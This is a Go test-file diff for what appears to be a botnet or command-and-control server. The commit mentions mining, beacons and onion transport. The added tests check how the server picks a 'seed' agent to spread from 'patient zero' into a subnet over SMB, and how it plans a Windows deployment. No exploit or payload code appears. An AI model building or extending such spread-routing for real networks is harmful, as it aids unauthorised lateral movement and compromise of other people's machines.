Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling

server/internal/api/pathtracer_handler_test.go

@@ -593,3 +593,121 @@ func TestPathTracerNetworkHintsFromEgress(t *testing.T) {
 	}
 	t.Fatal("timed out waiting for network_hints on pathtrace session")
 }
+
+func TestPathTracerSpreadRouteRecommendation(t *testing.T) {
+	database, err := db.New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = database.Close() })
+
+	patientID := "patient-zero-agent"
+	seedID := "seed-hop-agent"
+	if err := database.UpsertAgent(&models.Agent{ID: patientID, Name: "Patient Zero", IP: "10.1.2.3", Status: "online"}); err != nil {
+		t.Fatal(err)
+	}
+	if err := database.UpsertAgent(&models.Agent{ID: seedID, Name: "Seed Hop", IP: "10.1.2.4", Status: "online"}); err != nil {
+		t.Fatal(err)
+	}
+
+	hub := NewWSHub(database)
+	connectTestAgent(t, hub, patientID)
+	connectTestAgent(t, hub, seedID)
+	hub.ClearanceManager().RequestElevation(patientID, 4, "test", "test")
+	hub.ClearanceManager().RequestElevation(seedID, 2, "test", "test")
+
+	handler := NewPathTracerHandler(hub)
+	sess := testTraceSession(2)
+	sess.Hops[0].AgentID = patientID
+	sess.Hops[0].AgentName = "Patient Zero"
+	sess.Hops[0].ExternalIP = "10.1.2.3"
+	sess.Hops[1].AgentID = seedID
+	sess.Hops[1].AgentName = "Seed Hop"
+	sess.Hops[1].ExternalIP = "10.1.2.4"
+	sess.ServiceGraph = map[string]ServiceGraphHost{
+		"10.1.2.50": {
+			Host: "10.1.2.50", Subnet: "10.1.2", AgentID: seedID,
+			Services: []ServiceGraphEntry{{ServiceName: "smb", Port: 445, JoinLaneCandidate: "spread_smb_unc"}},
+		},
+	}
+	handler.mu.Lock()
+	handler.sessions[sess.ID] = sess
+	handler.mu.Unlock()
+
+	body := fmt.Sprintf(`{"session_id":%q,"target_subnets":["10.1.2"],"join_lane":"do_peer"}`, sess.ID)
+	req := httptest.NewRequest(http.MethodPost, "/pathtrace/spread-route", strings.NewReader(body))
+	rec := httptest.NewRecorder()
+	handler.SpreadRoute(rec, req)
+	if rec.Code != http.StatusOK {
+		t.Fatalf("spread-route status=%d body=%s", rec.Code, rec.Body.String())
+	}
+	var resp struct {
+		SpreadRoutes []struct {
+			SeedAgentID   string  `json:"seed_agent_id"`
+			EgressAgentID string  `json:"egress_agent_id"`
+			Score         float64 `json:"score"`
+		} `json:"spread_routes"`
+		RouteEdges []struct {
+			Weight float64 `json:"weight"`
+		} `json:"route_edges"`
+	}
+	if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
+		t.Fatal(err)
+	}
+	if len(resp.SpreadRoutes) == 0 {
+		t.Fatalf("expected routes: %s", rec.Body.String())
+	}
+	if resp.SpreadRoutes[0].SeedAgentID != seedID {
+		t.Fatalf("seed=%q want %q routes=%v", resp.SpreadRoutes[0].SeedAgentID, seedID, resp.SpreadRoutes)
+	}
+	if len(resp.RouteEdges) == 0 {
+		t.Fatal("expected weighted route edges")
+	}
+}
+
+func TestDeployPlanIncludesSpreadRouteHint(t *testing.T) {
+	deployH := testDeployPlanHandler(t)
+	patientID := "deploy-patient-zero"
+	seedID := "deploy-seed-hop"
+	if err := deployH.db.UpsertAgent(&models.Agent{ID: patientID, Name: "PZ", IP: "10.9.8.7", Status: "online"}); err != nil {
+		t.Fatal(err)
+	}
+	if err := deployH.db.UpsertAgent(&models.Agent{ID: seedID, Name: "Seed", IP: "10.9.8.9", Status: "online"}); err != nil {
+		t.Fatal(err)
+	}
+
+	hub := NewWSHub(deployH.db)
+	connectTestAgent(t, hub, patientID)
+	connectTestAgent(t, hub, seedID)
+	hub.ClearanceManager().RequestElevation(patientID, 4, "test", "test")
+	hub.ClearanceManager().RequestElevation(seedID, 2, "test", "test")
+
+	pathTracer := NewPathTracerHandler(hub)
+	deployH.BindPathTracer(pathTracer)
+	sess := testTraceSession(2)
+	sess.Hops[0].AgentID = patientID
+	sess.Hops[0].ExternalIP = "10.9.8.7"
+	sess.Hops[1].AgentID = seedID
+	sess.Hops[1].ExternalIP = "10.9.8.9"
+	sess.ServiceGraph = map[string]ServiceGraphHost{
+		"10.9.8.20": {Host: "10.9.8.20", Subnet: "10.9.8", AgentID: seedID},
+	}
+	pathTracer.mu.Lock()
+	pathTracer.sessions[sess.ID] = sess
+	pathTracer.mu.Unlock()
+
+	req := deployPlanRequest{AgentID: patientID, Platform: "windows", BuildID: "b1"}
+	hint := deployH.recommendSpreadRoute(req, "do_peer")
+	if hint == nil {
+		t.Fatal("expected spread_route_hint recommendation")
+	}
+	if hint.TargetSubnet != "10.9.8" {
+		t.Fatalf("subnet=%q want 10.9.8 (from service graph discovery)", hint.TargetSubnet)
+	}
+	if hint.SeedAgentID == "" {
+		t.Fatal("expected routed seed agent")
+	}
+	if hint.SeedAgentID == patientID {
+		t.Fatalf("expected routed egress not patient zero, got %q", hint.SeedAgentID)
+	}
+}